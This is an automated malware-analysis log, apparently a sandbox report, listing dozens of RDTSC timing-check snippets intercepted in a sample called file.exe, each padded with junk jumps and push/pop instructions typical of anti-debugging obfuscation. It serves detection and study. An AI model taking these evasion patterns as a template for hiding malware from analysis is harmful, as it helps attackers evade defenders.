Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D403F second address: 8D4043 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D4498 second address: 8D449E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D449E second address: 8D44A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D44A4 second address: 8D44C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6CDCCD27BEh 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F6CDCCD27BAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D499F second address: 8D49C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCB9DDFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F6CDCB9DE03h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D49C4 second address: 8D49CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F6CDCCD27B6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D49CF second address: 8D49D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7CE1 second address: 8D7CE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7CE7 second address: 8D7CEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7CEC second address: 8D7D05 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6CDCCD27BCh 0x00000008 jc 00007F6CDCCD27B6h 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 js 00007F6CDCCD27B6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DAB9A second address: 8DAB9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0BFC second address: 8E0C05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0EB2 second address: 8E0EC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a jne 00007F6CDCB9DDF6h 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E1003 second address: 8E1007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E1007 second address: 8E1024 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6CDCB9DE01h 0x0000000b popad 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E1024 second address: 8E102E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6CDCCD27B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E102E second address: 8E103A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E103A second address: 8E103E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E119F second address: 8E11A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E11A5 second address: 8E11BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6CDCCD27C1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E11BA second address: 8E11D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCB9DE02h 0x00000007 je 00007F6CDCB9DDF6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E14F2 second address: 8E1512 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6CDCCD27B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6CDCCD27C2h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E6FB8 second address: 8E6FC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E6FC1 second address: 8E6FCA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E63B3 second address: 8E63D1 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6CDCB9DDF6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F6CDCB9DDFAh 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 pushad 0x00000015 popad 0x00000016 je 00007F6CDCB9DE02h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E63D1 second address: 8E63D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E63D7 second address: 8E63FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jno 00007F6CDCB9DDF6h 0x0000000f jmp 00007F6CDCB9DDFFh 0x00000014 popad 0x00000015 jp 00007F6CDCB9DDFCh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E656B second address: 8E656F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E66E7 second address: 8E66ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E66ED second address: 8E66F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E66F1 second address: 8E672A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCB9DDFFh 0x00000007 jmp 00007F6CDCB9DE01h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6CDCB9DDFDh 0x00000015 jnp 00007F6CDCB9DDF6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E6875 second address: 8E68E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6CDCCD27BAh 0x00000009 jmp 00007F6CDCCD27C9h 0x0000000e popad 0x0000000f jmp 00007F6CDCCD27C1h 0x00000014 jmp 00007F6CDCCD27C6h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d jmp 00007F6CDCCD27C2h 0x00000022 jp 00007F6CDCCD27B6h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E6B70 second address: 8E6B74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E6B74 second address: 8E6B98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6CDCCD27C2h 0x0000000b popad 0x0000000c push esi 0x0000000d push esi 0x0000000e push edx 0x0000000f pop edx 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E6B98 second address: 8E6B9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E9B10 second address: 8E9B15 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E9C5F second address: 8E9CA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F6CDCB9DDF6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d jmp 00007F6CDCB9DDFAh 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F6CDCB9DE04h 0x00000019 jmp 00007F6CDCB9DE08h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E9FF9 second address: 8E9FFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E9FFF second address: 8EA01C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6CDCB9DE01h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA01C second address: 8EA020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA020 second address: 8EA03F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCB9DE01h 0x00000007 ja 00007F6CDCB9DDF6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA03F second address: 8EA045 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA045 second address: 8EA049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA049 second address: 8EA053 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6CDCCD27B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA053 second address: 8EA05C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F1D6E second address: 8F1D74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F1D74 second address: 8F1D7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EFE1A second address: 8EFE1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EFE1E second address: 8EFE4C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F6CDCB9DDF8h 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6CDCB9DE09h 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EFE4C second address: 8EFE50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EFE50 second address: 8EFE54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EFE54 second address: 8EFE5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EFFDB second address: 8EFFE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F06EE second address: 8F06F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F06F4 second address: 8F0700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F1211 second address: 8F1232 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007F6CDCCD27C7h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F17F6 second address: 8F17FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F793A second address: 8F795D instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6CDCCD27B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jmp 00007F6CDCCD27C7h 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F795D second address: 8F7997 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCB9DE04h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jne 00007F6CDCB9DDFEh 0x00000019 jnc 00007F6CDCB9DDFAh 0x0000001f pushad 0x00000020 popad 0x00000021 push ecx 0x00000022 pop ecx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FBC55 second address: 8FBC5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FBC5A second address: 8FBC60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FAD2F second address: 8FAD35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FAD35 second address: 8FAD39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FAD39 second address: 8FAD4E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6CDCCD27B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jnl 00007F6CDCCD27B6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FAD4E second address: 8FAD64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6CDCB9DDFDh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FAD64 second address: 8FAD81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c jmp 00007F6CDCCD27C1h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FB19F second address: 8FB1AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 js 00007F6CDCB9DE10h 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FB32C second address: 8FB330 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FB330 second address: 8FB336 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FB336 second address: 8FB36F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCCD27C5h 0x00000007 jne 00007F6CDCCD27B8h 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jnc 00007F6CDCCD27C2h 0x00000018 push edi 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FB528 second address: 8FB540 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6CDCB9DE04h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FB540 second address: 8FB56F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007F6CDCCD27B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6CDCCD27C8h 0x00000016 je 00007F6CDCCD27B6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FB56F second address: 8FB588 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6CDCB9DDFFh 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FB588 second address: 8FB592 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FB592 second address: 8FB596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9024C2 second address: 9024E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6CDCCD27C0h 0x0000000a popad 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F6CDCCD27B6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 902919 second address: 902946 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCB9DE07h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jc 00007F6CDCB9DDF8h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 je 00007F6CDCB9DDFCh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 902946 second address: 902954 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 je 00007F6CDCCD27B6h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 902954 second address: 90296D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6CDCB9DE00h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90296D second address: 902973 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 902973 second address: 902979 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 902C15 second address: 902C1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 902C1A second address: 902C3A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F6CDCB9DE08h 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 902F47 second address: 902F4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90365B second address: 903672 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F6CDCB9DDFDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 903672 second address: 9036B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007F6CDCCD27B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F6CDCCD27C7h 0x00000011 push edi 0x00000012 push edi 0x00000013 pop edi 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 pop edi 0x00000017 popad 0x00000018 js 00007F6CDCCD27E6h 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F6CDCCD27C3h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9063D6 second address: 9063E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9063E1 second address: 9063FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6CDCCD27C6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90AD0F second address: 90AD19 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6CDCB9DDF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90AD19 second address: 90AD27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F6CDCCD27C2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90AD27 second address: 90AD2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90DEAD second address: 90DEBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F6CDCCD27B6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90DEBC second address: 90DEC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90DEC0 second address: 90DECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90DECA second address: 90DECE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
